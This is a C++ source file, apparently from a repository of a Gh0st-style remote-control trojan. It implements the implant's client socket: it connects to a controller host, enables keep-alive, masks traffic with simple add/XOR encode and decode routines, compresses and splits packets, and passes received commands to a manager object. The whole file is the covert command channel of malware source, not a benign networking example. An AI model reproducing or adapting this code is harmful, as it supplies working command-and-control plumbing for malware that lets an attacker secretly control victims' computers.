2024-06-23 17:36:53 +08:00

362 lines
9.0 KiB
C++
Raw Permalink Blame History

This file contains ambiguous Unicode characters

This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

// ClientSocket.cpp: implementation of the CClientSocket class.
//
//////////////////////////////////////////////////////////////////////
#include "ClientSocket.h"
#include <process.h>
#include <MSTcpIP.h>
#include "Manager.h"
#include "until.h"
#pragma comment(lib, "ws2_32.lib")
#include "../../common/zlib/zlib.h"
#pragma comment(lib, "../../../common/zlib/zlib.lib")
#define ZLIB_NO 1226661 //数据包无压缩模式
#define ZLIB_OK 1226662 //数据包为压缩模式
//////////////////////////////////////////////////////////////////////
// Construction/Destruction
//////////////////////////////////////////////////////////////////////
CClientSocket::CClientSocket()
{
WSADATA wsaData;
WSAStartup(MAKEWORD(2, 2), &wsaData);
m_hEvent = CreateEvent(NULL, true, false, NULL);
m_bIsRunning = false;
m_Socket = INVALID_SOCKET;
// Packet Flag;
BYTE bPacketFlag[] = {'S','V',' '};
memcpy(m_bPacketFlag, bPacketFlag, sizeof(bPacketFlag));
}
CClientSocket::~CClientSocket()
{
m_bIsRunning = false;
WaitForSingleObject(m_hWorkerThread, INFINITE);
if (m_Socket != INVALID_SOCKET)
Disconnect();
CloseHandle(m_hWorkerThread);
CloseHandle(m_hEvent);
WSACleanup();
}
bool CClientSocket::Connect(LPCTSTR lpszHost, UINT nPort)
{
// 一定要清除一下不然socket会耗尽系统资源
Disconnect();
// 重置事件对像
ResetEvent(m_hEvent);
m_bIsRunning = false;
m_Socket = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
if (m_Socket == SOCKET_ERROR)
return false;
hostent* pHostent = NULL;
pHostent = gethostbyname(lpszHost);
if (pHostent == NULL)
return false;
// 构造sockaddr_in结构
sockaddr_in ClientAddr;
ClientAddr.sin_family = AF_INET;
ClientAddr.sin_port = htons(nPort);
ClientAddr.sin_addr = *((struct in_addr *)pHostent->h_addr);
if (connect(m_Socket, (SOCKADDR *)&ClientAddr, sizeof(ClientAddr)) == SOCKET_ERROR)
return false;
BOOL bConditionalAccept=TRUE;
DWORD dwBytes;
// Set KeepAlive 开启保活机制, 防止服务端产生死连接
if (setsockopt(m_Socket, SOL_SOCKET, SO_KEEPALIVE, (const char*)&bConditionalAccept, sizeof(BOOL)) == 0)
{
// 设置超时详细信息
tcp_keepalive klive;
klive.onoff = 1; // 启用保活
klive.keepalivetime = 1000 * 60 * 3; // 3分钟超时 Keep Alive
klive.keepaliveinterval = 1000 * 5; // 重试间隔为5秒 Resend if No-Reply
WSAIoctl(m_Socket, SIO_KEEPALIVE_VALS, &klive, sizeof(tcp_keepalive), NULL, 0, &dwBytes, 0, NULL);
}
m_bIsRunning = true;
m_hWorkerThread = (HANDLE)MyCreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)WorkThread, (LPVOID)this, 0, NULL, true);
return true;
}
char* MyDecode(char *data,int len)
{
for (int i = 0; i < len; i++)
{
data[i] += 0x87,0x73,0x99,0x57,0x77,0x68;
data[i] ^= 0x15,0x21,0x32,0x42,0x23,0x73;
}
return data;
}
DWORD WINAPI CClientSocket::WorkThread(LPVOID lparam)
{
CClientSocket *pThis = (CClientSocket *)lparam;
char buff[MAX_RECV_BUFFER];
fd_set fdSocket;
FD_ZERO(&fdSocket);
FD_SET(pThis->m_Socket, &fdSocket);
while (pThis->IsRunning())
{
fd_set fdRead = fdSocket;
int nRet = select(NULL, &fdRead, NULL, NULL, NULL);
if (nRet == SOCKET_ERROR)
{
pThis->Disconnect();
break;
}
if (nRet > 0)
{
memset(buff, 0, sizeof(buff));
int nSize = recv(pThis->m_Socket, buff, sizeof(buff), 0);
if (nSize <= 0)
{
pThis->Disconnect();
break;
}
if (nSize > 0)
{
MyDecode(buff,nSize);
pThis->OnRead((LPBYTE)buff, nSize);
}
}
}
return -1;
}
void CClientSocket::run_event_loop()
{
WaitForSingleObject(m_hEvent, INFINITE);
}
bool CClientSocket::IsRunning()
{
return m_bIsRunning;
}
#include <stdio.h>
void CClientSocket::OnRead( LPBYTE lpBuffer, DWORD dwIoSize )
{
PBYTE pData = NULL;
PBYTE pDeCompressionData = NULL;
try
{
if (dwIoSize == FLAG_SIZE && memcmp(lpBuffer, m_bPacketFlag, FLAG_SIZE) == 0)
{
// 重新发送
Send(m_ResendWriteBuffer.GetBuffer(), m_ResendWriteBuffer.GetBufferLen());
return;
}
// Add the message to out message
// Dont forget there could be a partial, 1, 1 or more + partial mesages
m_CompressionBuffer.Write(lpBuffer, dwIoSize);
// Check real Data
while (m_CompressionBuffer.GetBufferLen() > HDR_SIZE)
{
// Check real Data
BYTE bPacketFlag[FLAG_SIZE];
CopyMemory(bPacketFlag, m_CompressionBuffer.GetBuffer(), sizeof(bPacketFlag));
if (memcmp(m_bPacketFlag, bPacketFlag, sizeof(m_bPacketFlag)) != 0)
{
throw "bad buffer";
}
UINT nSize = 0;
CopyMemory(&nSize, m_CompressionBuffer.GetBuffer(FLAG_SIZE), sizeof(UINT));
if (nSize && (m_CompressionBuffer.GetBufferLen()) >= nSize)
{
int nUnCompressLength = 0;
// Read off header
m_CompressionBuffer.Read((PBYTE) bPacketFlag, sizeof(bPacketFlag));
m_CompressionBuffer.Read((PBYTE) &nSize, sizeof(int));
m_CompressionBuffer.Read((PBYTE) &nUnCompressLength, sizeof(int));
BOOL nSomp = FALSE;
m_CompressionBuffer.Read((PBYTE) &nSomp, sizeof(BOOL));
////////////////////////////////////////////////////////
////////////////////////////////////////////////////////
// SO you would process your data here
//
// I'm just going to post message so we can see the data
int nCompressLength = nSize - HDR_SIZE;
pData = new BYTE[nCompressLength];
pDeCompressionData = new BYTE[nUnCompressLength];
if (pData == NULL || pDeCompressionData == NULL)
{
throw "bad Allocate";
}
m_CompressionBuffer.Read(pData, nCompressLength);
if(nSomp == ZLIB_NO) //只接收没压缩数据
{
m_DeCompressionBuffer.ClearBuffer();
m_DeCompressionBuffer.Write(pData, nCompressLength);
m_pManager->OnReceive(m_DeCompressionBuffer.GetBuffer(0), m_DeCompressionBuffer.GetBufferLen());
}
delete [] pData;
delete [] pDeCompressionData;
}
else
break;
}
}
catch(...)
{
if(pData) delete [] pData;
if(pDeCompressionData) delete [] pDeCompressionData;
m_CompressionBuffer.ClearBuffer();
Send(NULL, 0);
}
}
void CClientSocket::Disconnect()
{
//
// If we're supposed to abort the connection, set the linger value
// on the socket to 0.
//
LINGER lingerStruct;
lingerStruct.l_onoff = 1;
lingerStruct.l_linger = 0;
setsockopt(m_Socket, SOL_SOCKET, SO_LINGER, (char *)&lingerStruct, sizeof(lingerStruct) );
CancelIo((HANDLE) m_Socket);
InterlockedExchange((LPLONG)&m_bIsRunning, false);
closesocket(m_Socket);
SetEvent(m_hEvent);
m_Socket = INVALID_SOCKET;
}
int CClientSocket::Send( LPBYTE lpData, UINT nSize )
{
m_WriteBuffer.ClearBuffer();
if (nSize > 0)
{
// Compress data
unsigned long destLen = (double)nSize * 1.001 + 12;
LPBYTE pDest = new BYTE[destLen];
if (pDest == NULL)
return 0;
int nRet = compress(pDest, &destLen, lpData, nSize);
if (nRet != Z_OK)
{
delete [] pDest;
return -1;
}
//////////////////////////////////////////////////////////////////////////
LONG nBufLen = destLen + HDR_SIZE;
// 5 bytes packet flag
m_WriteBuffer.Write(m_bPacketFlag, sizeof(m_bPacketFlag));
// 4 byte header [Size of Entire Packet]
m_WriteBuffer.Write((PBYTE) &nBufLen, sizeof(nBufLen));
// 4 byte header [Size of UnCompress Entire Packet]
m_WriteBuffer.Write((PBYTE) &nSize, sizeof(nSize));
BOOL nComp = ZLIB_OK; //无压缩数据
m_WriteBuffer.Write((PBYTE) &nComp, sizeof(BOOL)); //写入数据不压缩标志 4 bytes
// Write Data
m_WriteBuffer.Write(pDest, destLen);
delete [] pDest;
// 发送完后,再备份数据, 因为有可能是m_ResendWriteBuffer本身在发送,所以不直接写入
LPBYTE lpResendWriteBuffer = new BYTE[nSize];
CopyMemory(lpResendWriteBuffer, lpData, nSize);
m_ResendWriteBuffer.ClearBuffer();
m_ResendWriteBuffer.Write(lpResendWriteBuffer, nSize); // 备份发送的数据
if (lpResendWriteBuffer)
delete [] lpResendWriteBuffer;
}
else // 要求重发, 只发送FLAG
{
m_WriteBuffer.Write(m_bPacketFlag, sizeof(m_bPacketFlag));
m_ResendWriteBuffer.ClearBuffer();
m_ResendWriteBuffer.Write(m_bPacketFlag, sizeof(m_bPacketFlag)); // 备份发送的数据
}
// 分块发送
return SendWithSplit(m_WriteBuffer.GetBuffer(), m_WriteBuffer.GetBufferLen(), MAX_SEND_BUFFER);
}
char* MyEncode(char *data,int len)
{
for (int i = 0; i < len; i++)
{
data[i] ^= 0x15,0x21,0x32,0x42,0x23,0x73;
data[i] -= 0x87,0x73,0x99,0x57,0x77,0x68;
}
return data;
}
int CClientSocket::SendWithSplit(LPBYTE lpData, UINT nSize, UINT nSplitSize)
{
MyEncode((char *)lpData,nSize);
int nRet = 0;
const char *pbuf = (char *)lpData;
int size = 0;
int nSend = 0;
int nSendRetry = 15;
// 依次发送
for (size = nSize; size >= nSplitSize; size -= nSplitSize)
{
for (int i = 0; i < nSendRetry; i++)
{
nRet = send(m_Socket, pbuf, nSplitSize, 0);
if (nRet > 0)
break;
}
if (i == nSendRetry)
return -1;
nSend += nRet;
pbuf += nSplitSize;
Sleep(10); // 必要的Sleep,过快会引起控制端数据混乱
}
// 发送最后的部分
if (size > 0)
{
for (int i = 0; i < nSendRetry; i++)
{
nRet = send(m_Socket, (char *)pbuf, size, 0);
if (nRet > 0)
break;
}
if (i == nSendRetry)
return -1;
nSend += nRet;
}
if (nSend == nSize)
return nSend;
else
return SOCKET_ERROR;
}
void CClientSocket::setManagerCallBack( CManager *pManager )
{
m_pManager = pManager;
}